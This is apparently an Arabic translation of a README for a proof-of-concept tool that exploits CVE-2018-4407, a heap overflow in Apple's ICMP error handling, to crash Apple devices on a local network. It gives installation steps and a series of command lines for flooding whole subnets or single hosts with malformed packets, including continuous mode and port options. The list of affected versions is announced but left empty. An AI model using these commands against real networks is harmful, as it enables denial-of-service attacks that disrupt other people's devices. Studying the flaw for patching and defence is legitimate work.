
إزعاج أجهزة Apple على الشبكة باستخدام CVE-2018-4407 (تجاوز سعة الكومة في معالجة الحزم الخاطئة)
بناءً على CVE-2018-4407 (https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407)، هذه التغريدة، وهذا الفيديو. الثغرة هي ثغرة تجاوز سعة كومة (heap overflow) في معالجة الحزم الخاطئة عندما يحاول نظام التشغيل إرسال رسالة ICMP تحتوي على أجزاء من الحزمة الخاطئة مرة أخرى إلى المرسل.

يؤدي هذا الدليل الإثباتي (POC) إلى تعطل أجهزة Apple القابلة للاستغلال عن طريق إرسال بيانات حزمة TCP خاطئة تحتوي على خيارات رأس TCP/IP طويلة لتجاوز سعة رسالة ICMP عندما يحاول الجهاز إرسال رسالة الخطأ. تحتاج القدرة على إرسال بيانات الحزمة مباشرة إلى الجهاز (مثلاً على نفس الشبكة المحلية).
إصدارات وأنظمة التشغيل التالية قابلة للاستغلال:
للاستخدام التعليمي فقط. لا تستخدم هذا البرنامج النصي في أنشطة غير قانونية. المؤلف غير مسؤول عن أي سوء استخدام أو ضرر.
تأكد من تثبيت Python 3 و scapy.
pip install scapy
# أو
pip3 install scapy
قد تحتاج إلى تشغيل البرنامج النصي كجذر (root).
إرسال حزمة خاطئة إلى الشبكة الفرعية 192.168.1.0/24.
sudo ./appledos.py 192.168.1.0/24
عرض عنوان IP بعد إرسال الحزمة.
sudo ./appledos.py --verbose 192.168.1.0/24
إرسال حزمة خاطئة باستمرار إلى الشبكة الفرعية 192.168.1.0/24.
sudo ./appledos.py --continuous 192.168.1.0/24
تغيير منفذ الوجهة (الافتراضي: 80). يمكنك تغييره إلى أي منفذ لأن الأجهزة سترد على أي حزمة واردة إلى أي منفذ، لكن قد تحتاج لمراعاة حظر المنفذ أو جدار الحماية في المضيف أو الشبكة.
sudo ./appledos.py --continuous --port 22 192.168.1.0/24
إرسال حزمة خاطئة إلى عنوان IP واحد فقط.
sudo ./appledos.py 192.168.1.118
تعيين الحد الأقصى لعدد العمال (الافتراضي: 100).
sudo ./appledos.py --worker 10 192.168.1.0/24
يستخدم هذا البرنامج النصي مكتبة scapy ولديها مشكلة معروفة في التعامل مع /dev/bpf (Berkeley Packet Filter) عند إرسال بيانات الحزمة من نظام تشغيل مثل macOS مع تعدد الخيوط. إذا واجهت رسالة No /dev/bpf handle is available، حاول تقليل عدد العمال إلى 1 أو 2. أو يمكنك ببساطة استخدام Linux كما في فيديو العرض التوضيحي.